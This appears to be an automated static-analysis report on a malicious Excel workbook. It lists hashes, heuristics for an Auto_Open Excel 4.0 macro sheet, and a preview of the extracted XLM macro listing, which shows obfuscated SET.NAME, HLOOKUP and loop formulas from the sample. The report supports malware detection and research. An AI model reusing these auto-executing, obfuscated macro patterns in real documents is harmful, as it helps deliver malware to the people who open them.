Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 73f78fef99bb0c2a…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:43:39 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 5d5bd753625adb1fb722ee1b7ae51a63 SHA-1: d46d05d20855b7e3aee7e61dbee056f2658643d7 SHA-256: 73f78fef99bb0c2a3236dd4cc3374d955c75f72b1f1ed665bd72ba97bb2870a5
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6651 bytes
SHA-256: f68c0fcdfba6f8760f232f14f6520a7fd53de25e5410225ee8eb73eebe2ed940
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zBMGKr
' 0018     26 LABEL : Cell Value, String Constant - agVgVodUOBQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C155 
' 0018     20 LABEL : Cell Value, String Constant - bCSIi len=0 
' 0018     23 LABEL : Cell Value, String Constant - bvspAGak len=0 
' 0018     27 LABEL : Cell Value, String Constant - cmVJVzIoOAQm len=0 
' 0018     27 LABEL : Cell Value, String Constant - DOXbnKRnHzyw len=0 
' 0018     21 LABEL : Cell Value, String Constant - EIJrgv len=0 
' 0018     21 LABEL : Cell Value, String Constant - guIwxr len=0 
' 0018     22 LABEL : Cell Value, String Constant - ikBTwrQ len=0 
' 0018     25 LABEL : Cell Value, String Constant - JDmHAHLBYv len=0 
' 0018     21 LABEL : Cell Value, String Constant - JnZDiD len=0 
' 0018     23 LABEL : Cell Value, String Constant - LPGZpBjF len=0 
' 0018     20 LABEL : Cell Value, String Constant - MUaiW len=0 
' 0018     21 LABEL : Cell Value, String Constant - NkQPGP len=0 
' 0018     24 LABEL : Cell Value, String Constant - OWnjiIZfy len=0 
' 0018     22 LABEL : Cell Value, String Constant - RjzcKzq len=0 
' 0018     27 LABEL : Cell Value, String Constant - xUiHVtUTtIME len=0 
' 0018     20 LABEL : Cell Value, String Constant - XzTIZ len=0 
' 0018     21 LABEL : Cell Value, String Constant - yrXIfk len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZkLPNJJFDHi len=0 
' 0018     21 LABEL : Cell Value, String Constant - zvscMD len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zBMGKr,T58,"",-860.00000000000000000000
'  zBMGKr,T59,"",-868.00000000000000000000
'  zBMGKr,C60,"SET.NAME("cmVJVzIoOAQm",0+VALUE("0"))",""
'  zBMGKr,T60,"",560.00000000000000000000
'  zBMGKr,T61,"",775.00000000000000000000
'  zBMGKr,T62,"",-193.00000000000000000000
'  zBMGKr,T63,"",-775.00000000000000000000
'  zBMGKr,C65,"SET.NAME("LPGZpBjF",cmVJVzIoOAQm)",""
'  zBMGKr,C68,"SET.NAME("JDmHAHLBYv",cmVJVzIoOAQm)",""
'  zBMGKr,C72,"SET.NAME("zvscMD",COUNTA(bCSIi))",""
'  zBMGKr,C76,"SET.NAME("bvspAGak",COUNTA(DOXbnKRnHzyw))",""
'  zBMGKr,C79,[],""
'  zBMGKr,C84,"SET.NAME("xUiHVtUTtIME","")",""
'  zBMGKr,C88,"LPGZpBjF",""
'  zBMGKr,C92,"SET.NAME("RjzcKzq",HLOOKUP("*",bCSIi,LPGZpBjF,FALSE))",""
'  zBMGKr,C97,"MUaiW",""
'  zBMGKr,C99,"SET.NAME("guIwxr",cmVJVzIoOAQm)",""
'  zBMGKr,C103,[],""
'  zBMGKr,C107,"guIwxr",""
'  zBMGKr,C111,"XzTIZ",""
'  zBMGKr,C113,"OWnjiIZfy",""
'  zBMGKr,C115,"NkQPGP",""
'  zBMGKr,C117,"SET.NAME("EIJrgv",VALUE(HLOOKUP("*",DOXbnKRnHzyw,NkQPGP,FALSE)))",""
'  zBMGKr,C120,"JnZDiD",""
'  zBMGKr,C124,"xUiHVtUTtIME",""
'  zBMGKr,C128,"JDmHAHLBYv",""
'  zBMGKr,C132,NEXT(),""
'  zBMGKr,C134,"agVgVodUOBQ",""
'  zBMGKr,C138,[],""
'  zBMGKr,C142,"yrXIfk",""
'  zBMGKr,C146,NEXT(),""
'  zBMGKr,C151,RETURN(),""
'  zBMGKr,C177,"SET.NAME("ikBTwrQ",C60)",""
'  zBMGKr,C179,"bCSIi",""
'  zBMGKr,C184,"SET.NAME("DOXbnKRnHzyw",R70C15)",""
'  zBMGKr,C186,"SET.NAME("yrXIfk",195)",""
'  zBMGKr,C190,"SET.NAME("ZkLPNJJFDHi",3)",""
'  zBMGKr,C194,ikBTwrQ(),""
'  zBMGKr,C195,HALT(),""

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